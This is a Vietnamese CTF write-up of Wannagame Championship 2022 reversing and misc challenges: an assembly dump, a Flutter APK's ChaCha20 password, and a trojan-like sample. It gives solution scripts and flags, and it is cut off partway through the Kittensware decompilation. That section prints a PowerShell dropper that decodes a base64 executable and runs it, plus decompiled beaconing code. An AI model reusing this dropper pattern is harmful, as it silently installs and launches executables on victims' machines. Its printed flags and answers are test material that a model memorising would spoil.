---
# System prepended metadata

title: Wannagame championship 2022 Writeups
tags: [Misc, Reversing]

---

---
title: Wannagame championship 2022 Writeups
date: 2022-12-13 10:12:40
category: CTF
tags: 
- Reversing
- Misc
---

# Overview
- Nguồn: https://cnsc.uit.edu.vn/ctf
## Đôi lời về trải nghiệm thi:
Đây là cuộc thi về ctf do bên UIT tổ chức, trải qua 8 tiếng căng thẳng thì:...

![wannagame-2022_2022-12-13-10-30-46](https://hackmd.io/_uploads/S1B0NS486.png)


Tuy được hạng 4 toàn bảng (hạng nhì offline), nma cũng khá xót khi còn thiếu tận 1.000...1 bài nữa để lên top :< và còn đâu đó 1 bài forensics dang dở + 1 bài cryptography biết hướng làm nhưng không ra. 

Tổng cộng hôm thi team mình được 7 bài (1 MISC + 1 WEB + 2 PWN + 3 REV), trong đó thì mình ăn first blood cả 3 bài rev :)) + thêm bài misc khá là ...

Trong danh sách writeups sau, mình sẽ trình bày theo mốc thời gian làm, thay vì độ khó :>. Thứ tự độ khó tăng dần sẽ là Memory -> Baby APK -> The return of Anti Debug -> Kittensware.
# Write ups
## 1. The return of Anti Debug
![wannagame-2022_2022-12-13-10-49-18](https://hackmd.io/_uploads/SyJJBrEUa.png)

### Tổng quan:
Bài này là bài làm lại (đổi biến số) từ 1 bài bị lỗi (Anti Debug) của kỳ Wannagame năm trước :)). Trước hôm thi thì mình có giải lại thử, nói chung đây sẽ là dạng để bạn thể hiện khả năng đọc hiểu code assembly và hiểu cách mà một số decompiler (IDA, Ghidra, ...) output thông tin

Theo gợi ý, file `code.txt` sẽ có nội dung như sau (bỏ qua các struct ở đầu file):
```assembly
;
; +-------------------------------------------------------------------------+
; |      This file was generated by The Interactive Disassembler (IDA)      |
; |           Copyright (c) 2021 Hex-Rays, <support@hex-rays.com>           |
; |                      License info: 48-206A-1AC0-08                      |
; |                             IDA PRO 7.6 SP1                             |
; +-------------------------------------------------------------------------+
;
; Input SHA256 : 8FFC76D721702FD9140973C39403152E44FF090B90BC9972107BBF9BC56BFAF5
; Input MD5    : 2310C32D2C9478678CA2493BF866EDA4
; Input CRC32  : 07A8B466

; File Name   : C:\Users\nguye\OneDrive\Máy tính\a.out
; Format      : ELF64 for x86-64 (Shared object)
; Interpreter '/lib64/ld-linux-x86-64.so.2'
; Needed Library 'libc.so.6'
;
; Source File : 'crtstuff.c'
; Source File : 'code.c'
; Source File : 'crtstuff.c'

                .686p
                .mmx
                .model flat
.intel_syntax noprefix
```

Từ thông tin trên biết được file này là elf64, dump từ IDA 7.6, và không có liên kết thêm thư viện ngoài.

Câu hỏi được đặt ra là từ file này convert sang IDA được không <("), thì câu trả lời có vẻ là không (mặc dù file có vẻ chi tiết hơn so với challenge năm trước), có thể tìm hiểu thêm [tại đây](https://reverseengineering.stackexchange.com/questions/3800/why-there-are-not-any-disassemblers-that-can-generate-re-assemblable-asm-code)

### Nơi chương trình bắt đầu

Vị trí đầu tiên (Entry point) cần phải xem xét trong đa số trường hợp sẽ là `main` (Đây là hàm do IDA tự đặt tên dựa trên thông tin trên file), chỉ một số ít mới cần xét đến `_start` (Dành cho trường hợp nanomite - chương trình tự fork và tự điều khiển chính bản thân thông qua `ptrace`).

Hàm main:
```c
; =============== S U B R O U T I N E =======================================

; Attributes: bp-based frame

; int __cdecl main(int argc, const char **argv, const char **envp)
                public main
main            proc near               ; DATA XREF: _start+21↑o

var_BC          = dword ptr -0BCh
var_B8          = dword ptr -0B8h
var_B4          = dword ptr -0B4h
stream          = qword ptr -0B0h
ptr             = qword ptr -0A8h
s               = byte ptr -0A0h
var_50          = byte ptr -50h
var_8           = qword ptr -8

; __unwind {
                endbr64
                push    rbp
                mov     rbp, rsp
                sub     rsp, 0C0h
                mov     rax, fs:28h
                mov     [rbp+var_8], rax
                xor     eax, eax
                lea     rsi, modes      ; "r"
                lea     rdi, aSomethingsecre ; "./somethingSecret.txt"
                call    _fopen
                mov     [rbp+stream], rax
                mov     edi, 4Ch ; 'L'  ; size
                call    _malloc
                mov     [rbp+ptr], rax
                mov     rdx, [rbp+stream]
                mov     rax, [rbp+ptr]
                mov     rcx, rdx        ; stream
                mov     edx, 1          ; n
                mov     esi, 42h ; 'B'  ; size
                mov     rdi, rax        ; ptr
                call    _fread
                mov     rax, [rbp+stream]
                mov     rdi, rax        ; stream
                call    _fclose
                lea     rdi, s          ; "Oh no, someone leaked something..."
                call    _puts
                lea     rax, [rbp+s]
                mov     edx, 42h ; 'B'  ; n
                mov     esi, 0          ; c
                mov     rdi, rax        ; s
                call    _memset
                lea     rax, [rbp+var_50]
                mov     edx, 42h ; 'B'  ; n
                mov     esi, 0          ; c
                mov     rdi, rax        ; s
                call    _memset
                mov     edi, 0          ; timer
                call    _time
                mov     edi, eax        ; seed
                call    _srand
                mov     [rbp+var_BC], 0
                jmp     short loc_1657
; ---------------------------------------------------------------------------
```

### Khôi phục biến

Stack ở hàm `main` thuộc dạng `bp-based`, tức là các vị trí đều được tính trên base pointer. Từ đây ta sẽ cố gắng khôi phục lại **kiểu dữ liệu ban đầu** của từng biến

```c
var_BC          = dword ptr -0BCh
var_B8          = dword ptr -0B8h
var_B4          = dword ptr -0B4h
stream          = qword ptr -0B0h
ptr             = qword ptr -0A8h
s               = byte ptr -0A0h
var_50          = byte ptr -50h
var_8           = qword ptr -8
```

Để dễ hình dung, ta có bảng sau:
|Biến|Loại pointer| Offset với biến trước | Offset với bp| Kiểu dữ liệu đề xuất |
|-|-|-|-|-|
|var_BC|int*| 0 | -0x0bc | int (4b) |
|var_B8|int*| 4 | -0x0b8 | int (4b) |
|var_B4|int*| 4 | -0x0b4 | int (4b) |
|stream|long*| 4 | -0x0b0 | void* (8b) | 
|ptr| long*| 8 | -0x0a8 | void* (8b) |
|s| char* | 8| -0x0a0 | char[0x50] (0x50b) |
|var_50| char*| 0x50 | -0x50 | char[0x48] (0x48b) |
|var_8| long* | 0x48 | -0x8 | long (8b) ~ `canary` |
|bp | void* | 0x8 | 0x0| base pointer |

### Calling convention __cdecl
Tóm tắt lại, ta sẽ chi cần nhớ thứ tự như sau (calling convention này chỉ dành cho linux):
```c
func1(int a, int b, int c, int d, int e, int f);
// a in RDI, b in RSI, c in RDX, d in RCX, e in R8, f in R9
// return value alway in RAX
```

### Phân tích hàm main thông qua tự tạo pseudo-code
```c
lea     rsi, modes      ; "r"
lea     rdi, aSomethingsecre ; "./somethingSecret.txt"
call    _fopen
mov     [rbp+stream], rax
```

Tương đương với
```c
stream = rax = fopen("./somethingSecret.txt", "r");
```

Đây là 1 file khá đáng nghi, không được cung cấp bởi người ra đề ~> có thể nội dung file chính là flag, tập trung vào nội dung lấy từ file.

```c
    mov     edi, 4Ch ; 'L'  ; size
    call    _malloc
    mov     [rbp+ptr], rax
```
```c
ptr = rax = malloc(0x4c);
// Khởi tạo vùng nhớ trên heap size = 0x4c
```
```c
    mov     rdx, [rbp+stream]
    mov     rax, [rbp+ptr]
    mov     rcx, rdx        ; stream
    mov     edx, 1          ; n
    mov     esi, 42h ; 'B'  ; size
    mov     rdi, rax        ; ptr
    call    _fread
```
```c
fread(ptr, 0x42, 1, stream);
// Đọc upto 0x42 ký tự từ stream vào ptr
```
```c
    mov     rax, [rbp+stream]
    mov     rdi, rax        ; stream
    call    _fclose
```
```c
fclose(stream);
// Đóng file
```
```c
    lea     rax, [rbp+s]
    mov     edx, 42h ; 'B'  ; n
    mov     esi, 0          ; c
    mov     rdi, rax        ; s
    call    _memset
    lea     rax, [rbp+var_50]
    mov     edx, 42h ; 'B'  ; n
    mov     esi, 0          ; c
    mov     rdi, rax        ; s
    call    _memset
```
```c
memset(s, 0, 0x42);
memset(var_50, 0, 0x42);
// Reset giá trị phần tử của s và var_50 về 0
```

```c
    mov     edi, 0          ; timer
    call    _time
    mov     edi, eax        ; seed
    call    _srand
```
```c
srand(time(0)); // Khởi tạo random seed
```

### Lặp và rẽ nhánh
- Vòng lặp thứ nhất

```c
    mov     [rbp+var_BC], 0
    jmp     short loc_1657
; ------
loc_163A:                               ; CODE XREF: main+F7↓j
                call    _rand
                mov     edx, eax
                mov     eax, [rbp+var_BC]
                cdqe
                mov     [rbp+rax+s], dl
                add     [rbp+var_BC], 1
loc_1657:                               ; CODE XREF: main+D1↑j
                cmp     [rbp+var_BC], 41h ; 'A'
                jle     short loc_163A

```
Tương đương với
```c
for (var_BC = 0; var_BC <= 0x41; var_BC++) {
    s[var_BC] = dl = (char)edx = (char)eax = (char)rand();
} // Khởi tạo s bằng các giá trị random
```
- Vòng lặp thứ 2

```c
                mov     [rbp+var_B8], 0
                jmp     short loc_16BD
; ---------------------------------------------------------------------------

loc_166C:                               ; CODE XREF: main+15D↓j
                mov     eax, [rbp+var_B8]
                movsxd  rdx, eax
                mov     rax, [rbp+ptr]
                add     rax, rdx
                movzx   edx, byte ptr [rax]
                mov     eax, [rbp+var_B8]
                cdqe
                movzx   eax, [rbp+rax+s]
                xor     eax, edx
                mov     edx, eax
                mov     eax, [rbp+var_B8]
                cdqe
                movzx   eax, [rbp+rax+s]
                add     eax, edx
                mov     edx, eax
                mov     eax, [rbp+var_B8]
                cdqe
                mov     [rbp+rax+var_50], dl
                add     [rbp+var_B8], 1

loc_16BD:                               ; CODE XREF: main+103↑j
                cmp     [rbp+var_B8], 41h ; 'A'
                jle     short loc_166C
```
Tương đương với
```c
for (var_B8 = 0; var_B8 <= 0x41; var_B8++) {
    edx = ptr[var_B8]; // = *(ptr + var_B8)
    eax = s[var_B8]; // rax = var_B8, eax = *(s+rax)

    eax ^= edx; // xor eax, edx
    edx = eax;
    eax = s[var_B8]; // rax = var_B8, eax = *(s+rax)
    eax += edx; // add eax, edx
    edx = eax;

    var_50[var_B8] = (char)edx; // eax = var_B8, *(rax + var_50) = dl = (char)edx;
}
```
- Vòng lặp thứ 3

```c
                mov     [rbp+var_B4], 0
                jmp     short loc_16FF
; ---------------------------------------------------------------------------

loc_16D2:                               ; CODE XREF: main+19F↓j
                mov     eax, [rbp+var_B4]
                cdqe
                movzx   eax, [rbp+rax+var_50]
                movsx   eax, al
                movzx   eax, al
                mov     esi, eax
                lea     rdi, format     ; "%02X "
                mov     eax, 0
                call    _printf
                add     [rbp+var_B4], 1

loc_16FF:                               ; CODE XREF: main+169↑j
                cmp     [rbp+var_B4], 2
                jle     short loc_16D2

```
Tương đương với
```c
for (var_B4 = 0; var_B4 <= 2; var_B4++) {
    eax = var_50[var_B4]; // eax = *(var_50 + var_B4)
    eax = (char)eax; // = al;

    printf("%02X ", eax); // edi = eax;
}
```

Sau đó chương trình thực hiện lệnh call tới hàm `sus` và kết thúc chương trình:
```c
                mov     edi, 0Ah        ; c
                call    _putchar
                mov     eax, 0
                call    sus
                mov     eax, 0
                mov     rcx, [rbp+var_8]
                xor     rcx, fs:28h
                jz      short locret_1735
                call    ___stack_chk_fail
; ---------------------------------------------------------------------------

locret_1735:                            ; CODE XREF: main+1C7↑j
                leave
                retn

```

Tổng quan lại những gì chương trình đã làm trong hàm main:
- Tạo ptr từ file "./somethingSecret.txt"
- Tạo mảng s random
- Tạo mảng var_50 = (ptr ^ s) + s (element wise)
- Leak 3 phần tử đầu của mảng var_50 dưới dạng thập lục phân ra màn hình.

### Hàm sus
Quá trình tạo pseudo-code cũng tương tự như trên (hoặc có thể đọc trực tiếp không cần thông dịch) :> Do hàm này sử dụng lại từ challenge trước, mình sẽ chỉ nói đại ý về công dụng thôi <img src="/images/Popo/2.webp" width="32" height="32" style="display:inline">

- Đọc `file` /proc/self/maps, đây chính là bảng chứa virtual address của process hiện tại. Sau đó đọc qua từng dòng, đến khi nào dòng có substring là '\[st' (chính là \[stack\]) thì thực hiện parse địa chỉ đầu và cuối của stack
- Mở `file` /proc/self/mem, đây là memory hiện tại của chương trình, sau đó seek tới stack và dump toàn bộ ra file `dump`

### Hướng giải quyết
Như vậy, ta đã biết được các thông tin sau:
- stack của chương trình
- Mảng var_50 thông qua những bytes đã được leak trong `log.txt` 
- Mảng s thông qua offset với mảng var_50
- Không biết được thông tin của ptr trên heap (thông tin cần tìm)

Như vậy, `ptr` có thể decode lại như sau:

var_50 = (ptr ^ s) + s

Suy ra ptr = (((var_50 - s) + 256) % 256) ^ s

```py
leak = b'\xAE\x88\x89'
offset_s = -0x50
flag_size = 0x42

f = open("dump", "rb")
dump = f.read()
f.close()

var_50_pos = dump.find(leak)
s_pos = var_50_pos + offset_s

var_50 = dump[var_50_pos: var_50_pos + flag_size]
s = dump[s_pos: s_pos + flag_size]

# Recover
result = ''.join([chr(((a-b+256)%256)^b) for a,b in zip(var_50, s)])

print(result) # Nhung_biet_ly_keo_dai_day_dut_moi_chinh_la_bua_tiec_cua_thanh_xuan
```

Những flag của phần RE sau đó sẽ đem gửi lên server lấy format gốc (W1{.*}) -> done

## 2. Baby APK
![wannagame-2022_2022-12-13-20-56-29](https://hackmd.io/_uploads/rkfZBHVLT.png)


### Tổng quan:
Đây là bài mình giải thứ 2, khi giải xong cũng khá bất ngờ khi mà lúc nộp server lại import thiếu flag, tốn hơn nửa tiếng để xác nhận phía tác giả + fix.

### Decompile với jadx
![wannagame-2022_2022-12-13-23-43-06](https://hackmd.io/_uploads/B1oVrr4Up.png)


Có thể thấy được chương trình hiện tại được build trên flutter. Ở flutter có 1 cái đặc biệt là `debug mode` và `release mode` sẽ hoàn toàn khác nhau, nguyên nhân là `debug mode` cần đến việc `hot reload` (cập nhật giao diện khi sửa code) bù lại cho việc app sẽ chạy chậm & unstable hơn.

Để phân biệt giữa 2 mode, Ta chỉ cần xét đơn giản như sau
- Debug mode (bài hiện tại): Tồn tại file (`kernel_blob.bin`)[https://stackoverflow.com/questions/53368586/what-is-flutters-kernel-blob-bin] trong folder assets/flutter_assets/ , và đây cũng là file chứa mã nguồn chính của chương trình để phân tích
- Release mode (bài `APK Again`): Tồn tại file `libapp.so` trong folder lib/< arch >, chứa mã nguồn đã được compile lại thành VM Snapshot.

### Phân tích kernel_blob.bin

Đầu tiên, extract string có trong file sang file text, ví dụ
```bash
strings kernel_blob.bin > abc.txt
```

Sau đó vào file, search với những cụm từ như `main.dart`, `wannagame_championship`(do đây cũng là package của app) để tìm vị trí của chương trình, tách lấy đoạn code cần thiết, ta được thành phẩm như sau:

```dart
import 'dart:math';
import 'package:cryptography/cryptography.dart';
import 'package:flutter/material.dart';
import 'package:http/http.dart';
void main() 
{
  runApp(const MyApp());
}

List<int> ra() 
{
  Random rand = Random(1412);
  List<int> arr = [];
  for(int i =0;i<32;i++)
    {
      arr.add(rand.nextInt(256));
    }
  return arr;
}

List<int> rb()
{
  Random rand = Random(0xdeadbeef);
  List<int> arr = [];
  for(int i =0;i<12;i++)
    arr.add(rand.nextInt(256));
  return arr;
}

bool cta(List<int> arr1,List<int>arr2)
{
  for(var i =0;i<arr1.length;i++)
    if(arr1[i]!=arr2[i])
    {
      return false;
    }
  return true;
}

List<int> m() 
{
  final message = <int>[13, 5, 172, 72, 129, 236, 106, 81, 95, 82, 154, 188, 102, 63, 210, 150, 80, 56, 108, 22, 100];
  for(int i =0;i<message.length;i++)
    {
      message[i]=message[i]^0xab;
    }
  return message;
}

List<int> k()
{
  return ra();
}

List<int> n()
{
  return rb();
}

List <int> ma()
{
  final mac = <int>[162, 93, 181, 147, 1, 86, 102, 148, 137, 92, 119, 11, 14, 91, 23, 226, 251, 40, 192, 189, 204, 190, 40, 167, 4, 227, 112, 58, 170, 136, 100, 53];
  return mac;
}

Future<String> calc_chacha20(List<int> m,List<int> k,List<int> n,List<int> ma) async
{
  final algorithm = Chacha20(
    macAlgorithm: Hmac.sha256(),
  );
  final secretKey = await algorithm.newSecretKeyFromBytes(k);
  SecretBox secretBox = SecretBox(m,nonce: n,mac:Mac(ma));
  List<int> clearText = await algorithm.decrypt(
      secretBox,
      secretKey: secretKey
  );
  return String.fromCharCodes(clearText);
}

bool cts(String str1,String str2)
{
  return str1==str2;
}

Future<bool> ch(String p) async 
{
  String dp = await calc_chacha20(m(),k(),n(),ma());
  if (cts(dp,p))
    return Future.value(true);
  return Future.value(false);
}

class MyApp extends StatelessWidget {
  const MyApp({Key? key}) : super(key: key);
  // This widget is the root of your application.
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Flutter APP',
      theme: ThemeData(
        // This is the theme of your application.
        //
        // Try running your application with "flutter run". You'll see the
        // application has a blue toolbar. Then, without quitting the app, try
        // changing the primarySwatch below to Colors.green and then invoke
        // "hot reload" (press "r" in the console where you ran "flutter run",
        // or simply save your changes to "hot reload" in a Flutter IDE).
        // Notice that the counter didn't reset back to zero; the application
        // is not restarted.
        primarySwatch: Colors.blue,
      ),
      home: const MyHomePage(title: 'WannaGame Championship Challenge'),
    );
  }
}

class MyHomePage extends StatefulWidget {
  const MyHomePage({Key? key, required this.title}) : super(key: key);
  // This widget is the home page of your application. It is stateful, meaning
  // that it has a State object (defined below) that contains fields that affect
  // how it looks.
  // This class is the configuration for the state. It holds the values (in this
  // case the title) provided by the parent (in this case the App widget) and
  // used by the build method of the State. Fields in a Widget subclass are
  // always marked "final".
  final String title;
  @override
  State<MyHomePage> createState() => _MyHomePageState();
}

Future<List<int>> bytes(String password) async
{
  bool ok = await ch(password);
  if(ok)
    return password.codeUnits;
  return password.codeUnits;
}

class _MyHomePageState extends State<MyHomePage> {
  @override
  Widget build(BuildContext context) {
    // This method is rerun every time setState is called, for instance as done
    // by the _incrementCounter method above.
    //
    // The Flutter framework has been optimized to make rerunning build methods
    // fast, so that you can just rebuild anything that needs updating rather
    // than having to individually change instances of widgets.
    return Scaffold(
      appBar: AppBar(
        // Here we take the value from the MyHomePage object that was created by
        // the App.build method, and use it to set our appbar title.
        title: Text(widget.title),
      ),
      body: Input_Text(),
    );
  }
}

Future<List<int>> calc_sha256(String password) async
{
  final algorithm_hash = Sha256();
  final sink = algorithm_hash.newHashSink();
  // sink.add(password.codeUnits);
  sink.add(await bytes(password));
  sink.close();
  final hash = await sink.hash();
  return hash.bytes;
}

class Input_Text extends StatelessWidget {
  Input_Text({Key? key}) : super(key: key);
  TextEditingController password_ctl = TextEditingController();
  TextEditingController flag_check_ctl = TextEditingController();
  TextEditingController flag = TextEditingController();
  @override
  Widget build(BuildContext context) {
    return Column(
      crossAxisAlignment: CrossAxisAlignment.start,
      children: <Widget>[
        Padding(
          padding: EdgeInsets.symmetric(horizontal: 8, vertical: 16),
          child: TextField(
            controller: password_ctl,
            decoration: InputDecoration(
              border: OutlineInputBorder(),
              hintText: 'Enter a password',
            ),
          ),
        ),
        Container(
            alignment: Alignment.center,
            height: 50,
            padding: const EdgeInsets.fromLTRB(10, 0, 10, 0),
            child: ElevatedButton(
                child: const Text('Check password'),
                onPressed: () async {
                  var hash_pass = <int>[127, 16, 136, 53, 147, 106, 226, 166, 95, 199, 25, 214, 163, 157, 159, 72, 58, 95, 116, 239, 177, 224, 103, 132, 201, 73, 232, 210, 83, 152, 54, 109];
                  final hash = await calc_sha256(password_ctl.text);
                  bool check = cta(hash_pass,hash);
                  if(check)
                  {
                    flag_check_ctl.text="Correct";
                    flag.text="Try to submit it !!!";
                  }
                  else
                  {
                    flag_check_ctl.text = "Wrong!!! Try again ^.^";
                  }
                }
            )
        ),
            Image.asset(
            "graphics/meowmeow.gif",
              ),
        TextField(
            decoration: InputDecoration(
                border: InputBorder.none,
                enabled: false
            ),
            controller: flag_check_ctl,
            textAlign: TextAlign.center,
            style: TextStyle(color: Colors.red)
        ),
        TextField(
          decoration: InputDecoration(
              border: InputBorder.none,
              enabled:false
          ),
          controller: flag,
          textAlign: TextAlign.center,
          style: TextStyle(color: Colors.blue,fontStyle: FontStyle.italic),
        )
      ],
    );
  }
}
```

Ở class cuối, có lời nhắn về việc flag đúng sai khi click vào button -> Ta sẽ bắt đầu ở hàm này. `Source` sẽ là input từ người dùng và `Sink` chính là hệ thống hiện thị flag đúng.

```dart
// ...
onPressed: () async {
    var hash_pass = <int>[127, 16, 136, 53, 147, 106, 226, 166, 95, 199, 25, 214, 163, 157, 159, 72, 58, 95, 116, 239, 177, 224, 103, 132, 201, 73, 232, 210, 83, 152, 54, 109];
    final hash = await calc_sha256(password_ctl.text);
    bool check = cta(hash_pass,hash);
    if(check)
    {
        flag_check_ctl.text="Correct";
        flag.text="Try to submit it !!!";
    }
    else
    {
        flag_check_ctl.text = "Wrong!!! Try again ^.^";
    }
}
// ...
```

Ta có Call graph như sau:
![wannagame-2022_x](https://hackmd.io/_uploads/BksuSBVUa.png)


Có 2 hàm cần chú ý là `cts` và `cta`:

```dart
bool cts(String str1,String str2)
{
  return str1==str2;
}

bool cta(List<int> arr1,List<int>arr2)
{
  for(var i =0;i<arr1.length;i++)
    if(arr1[i]!=arr2[i])
    {
      return false;
    }
  return true;
}
```

Về cơ bản thì 2 hàm này đều để compare giữa 2 object với nhau -> Đặt vấn đề `sink` sẽ nằm ở đây (mục tiêu tạo giá trị = `True`)

Ở hàm `calc_sha256`, ngoại trừ việc gọi tới hàm `bytes` đáng ngờ ra thì phần còn lại để tính hash sha256 như bình thường, suy ra mục tiêu cần đạt được là tìm input sao cho: `hash_pass == SHA256(input)`. 

Tuy nhiên với lượng thông tin như vậy là chưa đủ (hash không nằm trong database có sẵn trên web để crack), nên cần tập trung chính vào hàm `calc_chacha20`. Hàm `cts` so sánh giữa input và giá trị trả về của `calc_chacha20`, cho nên đây có thể là hàm giải mã 1 chuỗi đã được mã hoá trong chương trình.

Đến đây, có 2 cách có thể thực hiện:
- Dynamic: chạy chương trình và hook vào hàm cts để lấy thông tin 2 chuỗi được so sánh
- Static: Reproduce lại kết quả của hàm calc_chacha20

Ở đây thì mình cũng chưa rành phương pháp dynamic lắm, nên tạm thời sẽ theo hướng static là chính :>

```dart
Future<bool> ch(String p) async 
{
  String dp = await calc_chacha20(m(),k(),n(),ma());
  if (cts(dp,p))
    return Future.value(true);
  return Future.value(false);
}
List<int> m() 
{
  final message = <int>[13, 5, 172, 72, 129, 236, 106, 81, 95, 82, 154, 188, 102, 63, 210, 150, 80, 56, 108, 22, 100];
  for(int i =0;i<message.length;i++)
    {
      message[i]=message[i]^0xab;
    }
  return message;
}

List<int> k()
{
  return ra();
}

List<int> n()
{
  return rb();
}

List <int> ma()
{
  final mac = <int>[162, 93, 181, 147, 1, 86, 102, 148, 137, 92, 119, 11, 14, 91, 23, 226, 251, 40, 192, 189, 204, 190, 40, 167, 4, 227, 112, 58, 170, 136, 100, 53];
  return mac;
}

List<int> ra() 
{
  Random rand = Random(1412);
  List<int> arr = [];
  for(int i =0;i<32;i++)
    {
      arr.add(rand.nextInt(256));
    }
  return arr;
}

List<int> rb()
{
  Random rand = Random(0xdeadbeef);
  List<int> arr = [];
  for(int i =0;i<12;i++)
    arr.add(rand.nextInt(256));
  return arr;
}

Future<String> calc_chacha20(List<int> m,List<int> k,List<int> n,List<int> ma) async
{
  final algorithm = Chacha20(
    macAlgorithm: Hmac.sha256(),
  );
  final secretKey = await algorithm.newSecretKeyFromBytes(k);
  SecretBox secretBox = SecretBox(m,nonce: n,mac:Mac(ma));
  List<int> clearText = await algorithm.decrypt(
      secretBox,
      secretKey: secretKey
  );
  return String.fromCharCodes(clearText);
}
```

Chacha20 gồm 2 thành phần chính là key và nonce tạo thành stream (https://loup-vaillant.fr/tutorials/chacha20-design). Sau đó việc encrypt/decrypt chỉ đơn giản là việc xor stream với message/ciphertext.

Theo https://pub.dev/documentation/cryptography/latest/cryptography/Chacha20-class.html:
- secretKeyLength is 32 bytes
- nonceLength is 12 bytes

```dart
String dp = await calc_chacha20(m(),k(),n(),ma());
List<int> k()
{
  return ra();
}
List<int> n()
{
  return rb();
}
```

Cộng với việc `ra`, `rb` lần lượt tạo ra mảng 32 và 12 bytes -> đoán được đây là secret và nonce (có thể từ kiểm nghiệm lại từ flow của chương trình).

Ciphertext của chương trình nằm ở hàm `m` (giá trị trả về của hàm làm tham số để truyền vào `SecretBox`). Và phần này đơn giản chỉ là xor ngược lại mảng với 0xab để tìm ciphertext gốc:
```dart
// ....
  final message = <int>[13, 5, 172, 72, 129, 236, 106, 81, 95, 82, 154, 188, 102, 63, 210, 150, 80, 56, 108, 22, 100];
  for(int i =0;i<message.length;i++)
    {
      message[i]=message[i]^0xab;
    }
// ....
```

Vấn đề đặt ra ở `ra`, `rb`: làm sao để tìm lại mảng ? (cả 2 hàm đều sử dụng đến random). Để ý thấy được cả 2 đều dùng 1 giá trị cố định cho seed của Random -> giá trị ở mỗi lần chạy có thể sẽ được giữ nguyên!.

Để cho tiện thì có thể sử dụng https://dartpad.dev/ để chạy chương trình và tìm giá trị trả về của 2 hàm như sau:

![wannagame-2022_2022-12-17-00-55-06](https://hackmd.io/_uploads/rywFHSVLa.png)


Từ 3 thành phần tìm được:
- ciphertext: a6ae07e32a47c1faf4f93117cd94793dfb93c7bdcf
- secretkey: b0f64f17877bd72bc2c1adc614d42f818d077889729fd7edcddfb85967033104
- nonce: 53b724922ef0da39bdcbb46a

Sau đó, có thể sử dụng tool bất kỳ để có thể decrypt (Ở đây mình sẽ sử dụng CyberChef):

![wannagame-2022_2022-12-17-00-57-21](https://hackmd.io/_uploads/rkRtrS4U6.png)


**Flag**: `L0v3$W^na0n3_U1T_1412`

## 3. Memory
![wannagame-2022_2022-12-17-21-27-23](https://hackmd.io/_uploads/SJVqSrNL6.png)


### Too Short, Didn't Read
Từ đề bài đã gợi ý về chuyện "or not" <img src="/images/Popo/7.webp" width="32" height="32" style="display:inline">, cho nên là...

![wannagame-2022_2022-12-17-21-30-26](https://hackmd.io/_uploads/B1FqSr4Ua.png)


**Flag**: `W1{M3moRy_F0r3nsics_34sy_R1ght???}`

## 4. Kittensware
![wannagame-2022_2022-12-17-21-37-56](https://hackmd.io/_uploads/HkJsHr4Ua.png)

### Tổng quan:

Về bài này thì team mình tự hào là team duy nhất giải ra (vào cuối giờ theo đúng nghĩa đen - 2 phút trước khi kết thúc). Đồng thời đây cũng là bài tốn thời gian nhất :)) ~30p mình ngồi kiếm cách để unpack `VMProtect` để rồi nhận ra không cần unpack vẫn xem code được... + ~ 1 tiếng để tĩnh tâm hiểu được flow chương trình.

Lan man vậy đủ rôì :> bắt đầu reverse thôi

### Suspected binary in network trafic

Khi mở file lên bằng `Wireshark`, đầu tiên sẽ thực hiện filter dựa trên `http` protocol để tìm ra những file được `download` và `upload` (Data ở dạng raw, có thể dump được do không bị mã hoá trên đường truyền ở cả 2 phía):

![wannagame-2022_2022-12-17-22-00-33](https://hackmd.io/_uploads/B1eprB4Lp.png)


Dễ dàng thấy được có 1 file Powershell đáng ngờ đã được tải về (dựa theo đuôi `.ps`), còn lại là các request POST tới `/beacon_ring`.

Dump file Powershell được kq như sau:
```powershell
$b64='TVqQAA...<chuỗi dài>...lbgA='
$filename = 'C:\Users\Public\challenge.exe'
$bytes = [Convert]::FromBase64String($b64)
[IO.File]::WriteAllBytes($filename, $bytes)
Start-Process 'C:\Users\Public\challenge.exe'
```

Công việc chính của file Powershell này là từ chuỗi mã hoá base64, decode và lưu ra file `challenge.exe`, sau đó sẽ khởi chạy file này (1 kiểu hoạt động cơ bản của Trojan, hide -> inject -> eavesdrop :>)

Để lấy được file `challenge.exe` thì cần decode base64 và lưu = thành file binary (có thể dùng tool Cyberchef luôn) hoặc đơn giản hơn thì chỉ cần xoá dòng cuối `Start-Process...`, chạy file Powershell cho nó tự giải mã và vào `'C:\Users\Public` để lấy file (Không khuyến khích chạy file nếu chưa biết nó sẽ làm gì)

Sau khi có được `challenge.exe`, thử analyze với `Detect It Easy` ta có được thông tin như sau:

![wannagame-2022_2022-12-17-22-13-47](https://hackmd.io/_uploads/S1NaHrEL6.png)


Các thông tin tìm được:
- Được protect bằng `VMProtect` ở mức min (Phần này mọi người có thể tự tìm hiểu xem nó sẽ làm gì nhé)
- Compile bằng MinGW's gcc 64bit (hầu như sẽ không gọi tới WinAPI quá nhiều - 1 điểm cộng lớn khi reverse binary Windows.)

### Phân tích bằng IDA

Khi mới đầu load, chương trình sẽ xuất hiện rất nhiều mã `int 4`, tuy nhiên có thể đay chỉ là interrupt của VMProtect, không ảnh hưởng tới chương trình lắm (thông qua debug), + thêm việc dùng indirect calling cho function, cho nên có thể dùng regex và filter bớt đi, được đoạn code sáng sủa hơn như sau:

```c
  memset(v70, 0, 2048);
  wcscpy(v74, L"key");
  if ( !get_request(v74, v70) )
    return -1;
  v3 = strlen(v70);
  v4 = b64_decode(v70, v3);
  v5 = strlen(v4);
  v6 = json_parse(v4, v5);
  memset(v70, 0, 2048);
  v61[0] = 0;
  process_object(v6, 1, v70, v61);
  v7 = srand;
  v8 = time(0);
  v7(v8);
  memset(v65, 0, 80);
  memset(v71, 0, 2048);
  v9 = key;
  v61[1] = 0;
  v10 = iv;
  do
  {
    v11 = rand();
    v12 = v11;
    wcscpy(v74, L"〥報");
    text_68(v9, v74, (v11 >> 4) & 0xF);
    wcscpy(v74, L"〥報");
    text_68(v9 + 1, v74, v12 & 0xF);
    v13 = rand();
    v14 = v13;
    wcscpy(v74, L"〥報");
    text_68(v10, v74, (v13 >> 4) & 0xF);
    v9 += 2;
    wcscpy(v74, L"〥報");
    v15 = v10 + 1;
    v10 += 2;
    text_68(v15, v74, v14 & 0xF);
  }
  while ( v9 != &key[32] );
  mem_concat(key, 32, iv, 32, v65);
  memset(v72, 0, 2048);
  wmemcpy(v74, L"ᕍ䭈䵓䥝ᵛ慺䍠", 7);
  v16 = v74;
  do
  {
    *v16 ^= 54 - v74 + v16;
    v16 = (v16 + 1);
  }
  while ( (&v75 + 6) != v16 );
  v17 = strlen(v72);
  mem_concat(v72, v17, v74, 13, v72);
  v18 = strlen(v72);
  mem_concat(v72, v18, v65, 64, v72);
